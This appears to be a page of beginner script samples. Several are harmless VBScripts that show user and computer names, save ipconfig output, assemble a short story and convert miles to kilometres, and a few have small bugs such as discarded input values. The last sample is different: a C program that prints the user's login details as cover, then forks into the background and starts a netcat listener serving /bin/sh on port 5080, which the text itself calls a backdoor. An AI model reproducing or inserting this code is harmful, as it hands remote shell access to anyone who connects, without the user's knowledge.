A useful VBScript sample to get user information. This is just basic information about the user.
' Logoninformation.vbs ' VBScript Logon script. ' This program demonstrates how to get information about the logged in user. ' This script tested on a Windows 7 machine and works perfectly too. ' ---------------------------------------------------------------------- ' Copyright (c) 2012 John R Cartwright ' Securitron Linux web site - http://www.securitronlinux.com ' Version 1 - August 23, 2012 ' ' You have a royalty-free right to use, modify, reproduce, and ' distribute this script file in any way you find useful, provided that ' you agree that the copyright owner above has no warranty, obligations, ' or liability for such use. ' Header from this script, modified for my use: http://www.rlmueller.net/Programs/Logon5.txt. ' Initial code from here: http://help.lockergnome.com/windows2/Windows-logon-process--ftopict444972.html Dim objNetwork Set wshShell = WScript.CreateObject( "WScript.Shell" ) Set objNetwork = CreateObject("WScript.Network") strComputerName = wshShell.ExpandEnvironmentStrings( "%COMPUTERNAME%" ) ' The date & time code string is from here: http://www.tek-tips.com/viewthread.cfm?qid=1590517. MsgBox "Printing Username & Computer name: " + vbCr + objNetwork.UserName + vbCr + objNetwork.ComputerName _ + vbCr + "Logged on at this time:" + strWindowsUser & " " & date & " " & time ' Tip for wrapping code from this website: http://forums.techguy.org/business-applications/767811-solved-wrap-vb-code.html ' Information on how to append to a file here: ' http://myitforum.com/cs2/blogs/dhite/archive/2007/05/06/vbs-script-to-append-to-a-specified-text-file.aspx Const fsoForAppending = 8 Sub SaveStringToFile(filename, text) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(filename, fsoForAppending) f.Write text End Sub SaveStringToFile "f.txt", "Printing Username & Computer name: " + vbCr + objNetwork.UserName + vbCr + objNetwork.ComputerName + vbCr + "Logged on at this time:" + strWindowsUser & " " & date & " " & time & vbCrLf |
This Windows scripting sample will create a text file and fill it with networking information.
Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile("E:\P\Filename-output.txt", True) objFile.WriteLine ("Bejiitas Script") Set object_sh = CreateObject("Wscript.shell") Set my_command = object_sh.Exec("ipconfig /all") Result = Replace(my_command. StdOut. ReadAll, vbCrLf, vbNewline) ObjFile.Writeline result Wscript.Quit |
Example VBScript code to show how to work with arrays. This program allows the user to build up a story piece by piece.
Option Explicit Dim MyArray(4) ' Variable array. Dim FirstInput Dim Title Dim strName Dim Story Dim Line1 Dim Line2 Dim Line3 Dim Line4 Dim strPlace Dim strFood Dim intAnswer Title = "Please type values to create a funny story." Story = "This is a funny story." ' This code from: http://blogs.technet.com/b/heyscriptingguy/archive/2004/08/16/how-can-i-give-a-user-a-yes-no-prompt.aspx intAnswer = _ Msgbox("Do you want to write a funny story", _ vbYesNo, "Write story") If intAnswer = vbYes Then Msgbox "You answered yes." InputBox "Please type a name:", Title, strName InputBox "Please type a location:", Title, strPlace InputBox "Please type a favourite food:", Title, strFood Line1 = ("One day, " & strName & "was walking through the " & strPlace & ".") Line2 = ("And he chanced upon a magical Elf.") Line3 = ("The Elf promised him one wish") Line4 = ("He answered, I wish for unlimited " & strFood & ".") MyArray(0) = Line1 MyArray(1) = Line2 MyArray(2) = Line3 MyArray(3) = Line4 'Wscript.echo MyArray(0) WScript.Echo Join( MyArray, vbCrLf ) Else Msgbox "You answered no." End If 'Wscript.echo MyArray(1) 'UBound() 'LBound() 'Dim MyNextOne(16) 'RedDim MyNextOne(35) |
A simple script that shows how to prompt for information from the user, and the do something with the value supplied by the user. In this case, it is converting miles to kilometers.
Option Explicit Dim NumChar Dim NumChar2 Dim Result Dim Title Dim intAnswer 'NumChar = InputBox("Enter the number (1 to 100) that" &_ '" you wish to operate on ", Title, 12) intAnswer = _ Msgbox("Do you want to convert Miles to Kilometers?", _ vbYesNo, "Yay/Nay?") If intAnswer = vbYes Then Msgbox "You answered yes." NumChar2 = InputBox("Enter the number in Miles that" &_ " you want to convert to Kilometers", Title, 12) Result = NumChar2*1.609344 Wscript.echo Result Else Msgbox "You answered no." End If |
C program for Linux that will print information about a user, and then run a separate command in the background to open a netcat backdoor. This shows how to use fork() to do one thing with a C program, and then do something else in the background. This could be used for malicious purposes. Although NSA Selinux protects against various malicious code.
/* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /******************************************************************** * Description: Netcat backdoor program. * Author: John Cartwright,,, <> * Created at: Mon Aug 24 12:56:48 AEST 2015 * Computer: darkstar * System: Linux 3.16.0-4-amd64 on x86_64 * * Copyright (c) 2015 John Cartwright,,, All rights reserved. * ********************************************************************/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <pwd.h> int main (int argc, char *argv[]) { struct passwd *passwd; passwd = getpwuid ( getuid()); fprintf(stdout, "The Login Name is: %s\n", passwd->pw_name); fprintf(stdout, "The Login shell is: %s\n", passwd->pw_shell); fprintf(stdout, "The Login /home is: %s\n", passwd->pw_dir); fprintf(stdout, "The user information is: %s\n", passwd->pw_gecos); // Start a netcat backdoor, running in the background. daemon(1,1); // fork() off into a daemon process. extern char * const environ[]; char * const command[] = {"nc", "-l", "-p", "5080", "-e", "/bin/sh", NULL}; execve("/bin/nc", command, environ); return 0; } |